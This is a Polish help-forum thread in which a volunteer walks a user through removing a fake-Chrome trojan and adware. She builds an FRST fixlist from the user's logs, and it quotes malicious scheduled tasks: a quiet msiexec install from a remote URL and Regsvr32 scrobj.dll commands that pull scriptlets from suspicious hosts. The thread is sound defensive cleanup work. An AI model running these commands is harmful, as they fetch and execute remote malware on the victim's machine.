Wirus Lucky Site123 - Logi z FRST

[AegnorP0lska 0]

Siemka, znów wirusy nie wiem skąd się biorą :C

 

FRST: http://wklej.org/id/3097712/

Addition: http://wklej.org/id/3097714/

 

Proszę o pomoc, Malwarebytes usunęło 117 plików, widziałem trojany, PUPy.

[filutka78 11]

C:\Users\mbarn\Desktop\Google Chrome.lnk -> C:\Program Files (x86)\Everness\Application\chrome.exe (Google Inc.)

C:\Users\mbarn\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files (x86)\Everness\Application\chrome.exe (Google Inc.)

C:\Users\mbarn\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk -> C:\Program Files (x86)\Everness\Application\chrome.exe (Google Inc.)

C:\Users\mbarn\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\69639df789022856\Google Chrome.lnk -> C:\Program Files (x86)\Everness\Application\chrome.exe (Google Inc.)

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Everness\Application\chrome.exe (Google Inc.)

Te skróty dam do usuwania, bo przekierowują do fałszywej przeglądarki C:\Program Files (x86)\Everness\Application\chrome.exe, która wygląda jak Google Chrome, ale w rzeczywistości jest Trojanem.

Potem zrobisz sobie nowe skróty w tych samych lokalizacjach.

 

1) Otwórz Notatnik i wklej w nim:

C:\Users\mbarn\Desktop\Google Chrome.lnk

C:\Users\mbarn\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk

C:\Users\mbarn\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk

C:\Users\mbarn\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\69639df789022856\Google Chrome.lnk

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

RemoveDirectory: C:\Program Files (x86)\Firefox

RemoveDirectory: C:\Program Files (x86)\Everness

RemoveDirectory: c:\programdata\apple\common\cloud

RemoveDirectory: C:\Program Files (x86)\Elex-tech

Task: {B6AB5862-0679-41D8-AB4E-B4FBEACD9EC9} - System32\Tasks\T0528 => msiexec.exe /i hxxp://point.chcyhqc.com/anzhaungoimism3.dat /q

Task: {68FBCF40-BE4E-4604-BD84-F3EACC671C3C} - System32\Tasks\Windows-WoShiBeiYongDe => Regsvr32.exe /s /i:hxxp://u76wtn6.x.incapdns.net/?data=zDlkMj85RWLLMTFxNkE1FUU4RTEyMYE1FUMxFdI2OTqcRTVXRq== scrobj.dll

Task: {5F6C0410-5E2A-4A65-8684-65D2CED77D7A} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lbyhbyc.com/?data=zDlkMj85RWLLMTFxNkE1FUU4RTEyMYE1FUMxFdI2OTqcRTVXRq== scrobj.dll

HKU\S-1-5-21-2697653472-3575013371-3186553278-1001\...\ChromeHTML: -> C:\Program Files (x86)\Everness\Application\chrome.exe (Google Inc.) <==== UWAGA

2017-04-17 20:26 - 2017-04-26 15:30 - 00000000 ____D C:\Users\mbarn\AppData\LocalLow\Mozilla

2017-04-17 20:26 - 2017-04-26 15:29 - 00002079 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk

2017-04-17 20:26 - 2017-04-17 20:26 - 00000000 ____D C:\Users\mbarn\AppData\Roaming\Mozilla

2017-04-17 20:26 - 2017-04-17 20:26 - 00000000 ____D C:\ProgramData\Software

2017-04-17 20:26 - 2017-04-17 20:26 - 00000000 ____D C:\Program Files (x86)\MIO

2017-04-17 20:20 - 2017-04-20 17:20 - 00000000 ____D C:\Program Files (x86)\BiaoJi

FirewallRules: [{71AD8022-9B7C-4926-8FC7-CAD536FC6ED9}] => (Allow) C:\Program Files (x86)\Everness\Application\chrome.exe

FirewallRules: [{48A5DCA0-45C0-437B-8958-8EFC74EE40D7}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe

FirewallRules: [{B72A93A3-FAC0-4E38-BA4A-A8625E96D481}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe

Task: {4A464BAC-1510-4473-9C7C-7CFBEEFA51FC} - \CCleanerSkipUAC -> Brak pliku <==== UWAGA

C:\WINDOWS\Minidump\*.dmp

2017-04-26 15:29 - 2017-04-26 15:39 - 00000000 _____ C:\Users\Public\Documents\report.dat

2017-04-26 15:29 - 2017-04-26 15:30 - 00000000 _____ C:\Users\Public\Documents\temp.dat

2017-04-26 15:29 - 2017-04-26 15:29 - 00000000 ____D C:\Users\mbarn\AppData\Roaming\Firefox

2017-04-26 15:29 - 2017-04-26 15:29 - 00000000 ____D C:\Users\mbarn\AppData\Local\Firefox

2017-04-26 15:34 - 2017-04-26 15:34 - 00003526 _____ C:\WINDOWS\System32\Tasks\T0528

2017-04-26 15:30 - 2017-04-26 15:30 - 00000000 ____D C:\WINDOWS\system32\log

2017-04-26 15:30 - 2017-04-26 15:30 - 00000000 ____D C:\Users\mbarn\AppData\Local\Everness

S1 iSafeKrnlMon; \??\C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [X] <==== UWAGA

R2 FirefoxU; C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe [102912 2017-04-26] () [brak podpisu cyfrowego] <==== UWAGA

HKU\S-1-5-21-2697653472-3575013371-3186553278-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Everness\Application\chrome.exe (Google Inc.) <==== UWAGA

FF SearchPlugin: C:\Users\mbarn\AppData\Roaming\Firefox\Firefox\Profiles\9u5a36d1.default\searchplugins\startsearch.xml [2017-04-26]

FF Extension: (FF Adr) - C:\Users\mbarn\AppData\Roaming\Firefox\Firefox\Profiles\9u5a36d1.default\Extensions\@H99KV4DO-UCCF-9PFO-9ZLK-8RRP4FVOKD9O.xpi [2017-04-26] [brak podpisu cyfrowego]

BHO: AVG Web TuneUp -> {95B7759C-8C7F-4BF1-B163-73684A933233} -> C:\Program Files\AVG Web TuneUp\4.3.6.255\AVG Web TuneUp.dll => Brak pliku

HOSTS:

EmptyTemp:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST.exe

Uruchom FRST i kliknij przycisk Fix (NAPRAW).

 

2) Zrób nowe logi FRST.

 

F.

[AegnorP0lska 0]

To z cytowania mam zapisać w fixlist.txt? Zauważyłem że to był trojan, wersja google chrome 57, a jest 58

[filutka78 11]

To z cytowania mam zapisać w fixlist.txt? Zauważyłem że to był trojan, wersja google chrome 57, a jest 58

do "fixlist" ma być tylko to, co podałam w punkcie nr 1)

 

F.

[AegnorP0lska 0]

FRST: http://wklej.org/id/3097923/

Addition: http://wklej.org/id/3097924/

 

Na razie wszystko wygląda na to, że wirusa nie ma

[filutka78 11]

Otwórz Notatnik i wklej w nim:

S2 AppleCloudSvc; C:\ProgramData\Apple\Common\Cloud\WinHelper.dll [X]

EmptyTemp:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST.exe

Uruchom FRST i kliknij przycisk Fix (NAPRAW).

 

Potem kończymy:

Otwórz Notatnik i wklej w nim:

DeleteQuarantine:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST. Uruchom FRST i kliknij w Fix (NAPRAW).

przez SHIFT+DEL usuń pozostały folder C:\FRST.

 

F.